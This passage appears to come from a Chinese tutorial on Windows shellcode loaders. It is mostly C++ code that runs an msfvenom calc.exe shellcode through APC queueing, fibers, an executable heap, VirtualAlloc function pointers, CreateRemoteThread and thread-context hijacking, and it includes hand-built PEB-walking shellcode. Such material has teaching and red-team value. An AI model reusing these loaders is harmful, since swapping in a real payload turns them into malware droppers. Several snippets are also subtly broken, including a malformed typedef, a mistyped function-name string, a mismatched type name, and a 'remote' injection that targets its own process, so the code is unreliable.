0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
INT _tmain(INT argc, _TCHAR argv[]) {
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId());
QueueUserAPC((PAPCFUNC)((LPVOID)shellcode), hThread, NULL);
SleepEx(1, TRUE);
return 0;
};

纤程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#pragma comment(linker,"/section:.data,RWE")
using namespace std;
UCHAR shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
INT _tmain(INT argc, _TCHAR argv[]) {
ConvertThreadToFiber(NULL);
LPVOID FiberObject = CreateFiber(0, (LPFIBER_START_ROUTINE)((LPVOID)shellcode), NULL);
SwitchToFiber(FiberObject);
DeleteFiber(FiberObject);
return 0;
};

可执行堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#pragma comment(linker,"/section:.data,RWE")
using namespace std;
UCHAR shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
INT _tmain(INT argc, _TCHAR argv[]) {
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);
PCHAR lpShellcode = (PCHAR)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(shellcode));
memcpy(lpShellcode, shellcode, sizeof(shellcode));
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpShellcode, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
};

Shellcode开发

编写一个程序,将Shellcode部分塞到shell区段中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <Windows.h>
#pragma code_seg("shell")
#pragma comment(linker,"/entry:rkvir")
VOID rkvir(VOID) {
DWORD dwKernel32 = 0;
_TEB* pTeb = NtCurrentTeb();
PDWORD pPeb = (PDWORD) * (PDWORD)((DWORD)pTeb + 0x30);
PDWORD pLdr = (PDWORD) * (PDWORD)((DWORD)pPeb + 0xC);
PDWORD InLoadOrderModuleList = (PDWORD)((DWORD)pLdr + 0xC);
PDWORD pModuleExe = (PDWORD)*InLoadOrderModuleList;
PDWORD pModuleNtdll = (PDWORD)*pModuleExe;
PDWORD pModuleKernel32 = (PDWORD)*pModuleNtdll;
dwKernel32 = pModuleKernel32[6];
DWORD dwBase = dwKernel32;
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwBase);
PIMAGE_DATA_DIRECTORY pExportDir = pNt->OptionalHeader.DataDirectory;
pExportDir = &(pExportDir[IMAGE_DIRECTORY_ENTRY_EXPORT]);
DWORD dwOffet = pExportDir->VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwBase + dwOffet);
DWORD dwFuncCount = pExport->NumberOfFunctions;
DWORD dwFuncNameCount = pExport->NumberOfNames;
PDWORD pEAT = (PDWORD)(dwBase + pExport->AddressOfFunctions);
PDWORD pENT = (PDWORD)(dwBase + pExport->AddressOfNames);
PWORD pEIT = (PWORD)(dwBase + pExport->AddressOfNameOrdinals);
DWORD dwFuncAddress;
for (SIZE_T i = 0; i < dwFuncCount; i++) {
if (!pEAT[i])
continue;
for (SIZE_T index = 0; index < dwFuncNameCount; index++)
if (pEIT[index] == i) {
DWORD dwNameOffset = pENT[index];
PCHAR szFuncName = (PCHAR)(((DWORD)dwBase) + dwNameOffset);
CHAR szGetProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s' };
INT nFlagCount = 0;
for (SIZE_T j = 0; j < 14; j++) {
if (szFuncName[j] == szGetProcAddress[j])
nFlagCount++;
if (nFlagCount == 14)
dwFuncAddress = pEAT[pEIT[index]] + dwBase;
};
};
};
typedef HMODULE(WINAPI* fnLoadLibraryA)(_In_ LPCSTR lpLibFileName);
typedef FARPROC(WINAPI* fnGetProcAddress)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName;
typedef INT(WINAPI* nMessageBoxA)(_In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType);
typedef VOID(WINAPI* fnExitProcess)(_In_ UINT uExitCode);
CHAR szLoadLibraryA[] = { 'L','o','a','d','L','i','b','r','a','r','y','A','\0' };
CHAR szGetProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s ','\0' };
CHAR szMessageBoxA[] = { 'M','e','s','s','a','g','e','B','o','x','A','\0' };
CHAR szExitProcess[] = { 'E','x','i','t','P','r','o','c','e','s','s' ,'\0' };
CHAR szUser32[] = { 'u','s','e','r','3','2','.','d','l','l','\0' };
CHAR szRkvir[] = { 'r','k','v','i','r','\0' };
fnGetProcAddress pfnGetProcAddress = (fnGetProcAddress)dwFuncAddress;
HMODULE hKernel32 = (HMODULE)dwKernel32;
fnLoadLibraryA pfnLoadLibraryA = (fnLoadLibraryA)pfnGetProcAddress(hKernel32, szLoadLibraryA);
HMODULE hUser32 = pfnLoadLibraryA(szUser32);
fnMessageBoxA pfnMessageBoxA = (fnMessageBoxA)pfnGetProcAddress(hUser32, szMessageBoxA);
fnExitProcess pfnExitProcess = (fnExitProcess)pfnGetProcAddress(hKernel32, szExitProcess);
pfnMessageBoxA(NULL, szRkvir, szRkvir, MB_OK);
pfnExitProcess(0);
return;
};

写加载器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <iostream>
#include <Windows.h>
UCHAR hexData[454] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x74, 0x64, 0xA1,
0x18, 0x00, 0x00, 0x00, 0x53, 0x56, 0x57, 0x8B,
0x40, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x0C,
0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x70, 0x18, 0x89,
0x75, 0xF0, 0x8B, 0x46, 0x3C, 0x8B, 0x44, 0x30,
0x78, 0x03, 0xC6, 0x8B, 0x58, 0x14, 0x8B, 0x50,
0x20, 0x8B, 0x78, 0x18, 0x03, 0xD6, 0x8B, 0x48,
0x1C, 0x8B, 0x40, 0x24, 0x03, 0xCE, 0x89, 0x55,
0xE4, 0x03, 0xC6, 0x33, 0xD2, 0x89, 0x5D, 0xD8,
0x85, 0xDB, 0x89, 0x7D, 0xDC, 0x8B, 0x5D, 0xD8,
0x89, 0x4D, 0xF4, 0x89, 0x45, 0xF8, 0x89, 0x55,
0xE8, 0x0F, 0x84, 0xC9, 0x00, 0x00, 0x00, 0x90,
0x83, 0x3C, 0x91, 0x00, 0x0F, 0x84, 0xB1, 0x00,
0x00, 0x00, 0x33, 0xC9, 0x89, 0x4D, 0xFC, 0x85,
0xFF, 0x0F, 0x84, 0xA1, 0x00, 0x00, 0x00, 0x66,
0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0F, 0xB7, 0x04, 0x48, 0x3B, 0xC2, 0x0F, 0x85,
0x7D, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xE4, 0x8D,
0x55, 0x8C, 0x33, 0xFF, 0xC7, 0x45, 0x8C, 0x47,
0x65, 0x74, 0x50, 0xC7, 0x45, 0x90, 0x72, 0x6F,
0x63, 0x41, 0xC7, 0x45, 0x94, 0x64, 0x64, 0x72,
0x65, 0x8B, 0x0C, 0x88, 0x33, 0xC0, 0x03, 0xCE,
0x66, 0xC7, 0x45, 0x98, 0x73, 0x73, 0x2B, 0xCA,
0x89, 0x45, 0xEC, 0x89, 0x4D, 0xE0, 0x66, 0x90,
0x8D, 0x55, 0x8C, 0x03, 0xD0, 0x8D, 0x77, 0x01,
0x8B, 0x45, 0xE0, 0x8A, 0x0A, 0x38, 0x0C, 0x10,
0x8B, 0x45, 0xEC, 0x0F, 0x45, 0xF7, 0x8B, 0xFE,
0x83, 0xFF, 0x0E, 0x75, 0x17, 0x8B, 0x75, 0xF8,
0x8B, 0x55, 0xFC, 0x8B, 0x5D, 0xF4, 0x0F, 0xB7,
0x0C, 0x56, 0x8B, 0x75, 0xF0, 0x8B, 0x1C, 0x8B,
0x03, 0xDE, 0xEB, 0x03, 0x8B, 0x75, 0xF0, 0x40,
0x89, 0x45, 0xEC, 0x83, 0xF8, 0x0E, 0x72, 0xC0,
0x8B, 0x4D, 0xFC, 0x8B, 0x55, 0xE8, 0x8B, 0x7D,
0xDC, 0x8B, 0x45, 0xF8, 0x41, 0x89, 0x4D, 0xFC,
0x3B, 0xCF, 0x0F, 0x82, 0x68, 0xFF, 0xFF, 0xFF,
0x8B, 0x4D, 0xF4, 0x42, 0x89, 0x55, 0xE8, 0x3B,
0x55, 0xD8, 0x0F, 0x82, 0x38, 0xFF, 0xFF, 0xFF,
0x8D, 0x45, 0x9C, 0xC7, 0x45, 0x9C, 0x4C, 0x6F,
0x61, 0x64, 0x50, 0x56, 0xC7, 0x45, 0xA0, 0x4C,
0x69, 0x62, 0x72, 0xC7, 0x45, 0xA4, 0x61, 0x72,
0x79, 0x41, 0xC6, 0x45, 0xA8, 0x00, 0xC7, 0x45,
0xB8, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xBC,
0x61, 0x67, 0x65, 0x42, 0xC7, 0x45, 0xC0, 0x6F,
0x78, 0x41, 0x00, 0xC7, 0x45, 0xAC, 0x45, 0x78,
0x69, 0x74, 0xC7, 0x45, 0xB0, 0x50, 0x72, 0x6F,
0x63, 0xC7, 0x45, 0xB4, 0x65, 0x73, 0x73, 0x00,
0xC7, 0x45, 0xC4, 0x75, 0x73, 0x65, 0x72, 0xC7,
0x45, 0xC8, 0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7,
0x45, 0xCC, 0x6C, 0x6C, 0xC6, 0x45, 0xCE, 0x00,
0xC7, 0x45, 0xD0, 0x72, 0x6B, 0x76, 0x69, 0x66,
0xC7, 0x45, 0xD4, 0x72, 0x00, 0xFF, 0xD3, 0x8D,
0x4D, 0xC4, 0x51, 0xFF, 0xD0, 0x8D, 0x4D, 0xB8,
0x51, 0x50, 0xFF, 0xD3, 0x8B, 0xF8, 0x8D, 0x45,
0xAC, 0x50, 0x56, 0xFF, 0xD3, 0x6A, 0x00, 0x8B,
0xF0, 0x8D, 0x45, 0xD0, 0x50, 0x50, 0x6A, 0x00,
0xFF, 0xD7, 0x6A, 0x00, 0xFF, 0xD6, 0x5F, 0x5E,
0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x00
};
INT main(VOID) {
LPVOID lpShellcode = VirtualAlloc(NULL, 454, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T lpNumberOfBytesWritten = 0;
WriteProcessMemory(GetCurrentProcess(), lpShellcode, hexData, 454, &lpNumberOfBytesWritten);
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpShellcode, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
};

Shellcode加载器

上面介绍了几种,下面是其他几种常见的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#include <iostream>
#include <Windows.h>
//msfvenom -p windows/exec cmd=calc.exe -f c
UCHAR shellcode[193] = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D,
0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78,
0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75,
0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66,
0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D,
0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF,
0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5,
0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};

//函数指针法
INT main(VOID) {
//函数指针
//1.申请可读可写可执行的内存
LPVOID lpBuffer = VirtualAlloc(NULL, 193, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//2.声明函数指针,shellcode本质上就是一段代码(没有参数也没有返回值的代码)
//void runshell();
typedef void(*shell)();
//3.将不可直接执行的shellcode拷贝到可执行内存内
memcpy(lpBuffer, shellcode, 193);
//4.给函数指针赋值
shell shellfunc = (shell)lpBuffer;
//5.运行
shellfunc();
return 0;
};

//强转函数并执行加载
INT main(VOID) {
//函数指针
//1.申请可读可写可执行的内存
LPVOID lpBuffer = VirtualAlloc(NULL, 193, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//2.将不可直接执行的shellcode拷贝到可执行内存内
memcpy(lpBuffer, shellcode, 193);
//3.强转成函数并且执行
((VOID(*)())lpBuffer)();
return 0;
};

//远程线程加载
INT main(VOID) {
//函数指针
//1.申请可读可写可执行的内存
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 0x1234);
LPVOID lpBuffer = VirtualAllocEx(GetCurrentProcess(), NULL, 193, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//2.将不可直接执行的shellcode拷贝到可执行内存内
//memcpy(lpBuffer, shellcode, 193);
SIZE_T lpNumberOfBytesWritten = 0;
WriteProcessMemory(GetCurrentProcess(), lpBuffer, shellcode, 193, &lpNumberOfBytesWritten);
//3.本地线程加载
HANDLE hThread = CreateRemoteThread(GetCurrentProcess(), NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
//4.等待线程执行结束
WaitForSingleObject(hThread, INFINITE);
return 0;
};

//切换线程上下文加载
#pragma comment(linker,"/section:.data,RWE")
UCHAR shellcode[193] = {
//...
};
INT main(VOID) {
//1.声明结构体对象
//线程上下文
//EIP RIP 指令指针寄存器,指向下一行将要执行的代码
//通过切换eip指向来切换程序执行流程
CONTEXT ctx;
//2.设置需要获取什么内容
ctx.ContextFlags = CONTEXT_ALL;
//3.打开当前线程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId());
//4.获取当前线程的上下文结构
GetThreadContext(hThread, &ctx);
//5.对获取到的结构成员进行设置
ctx.Eip = (DWORD)shellcode;
//6.设置回线程
SetThreadContext(hThread, &ctx);
return 0;
};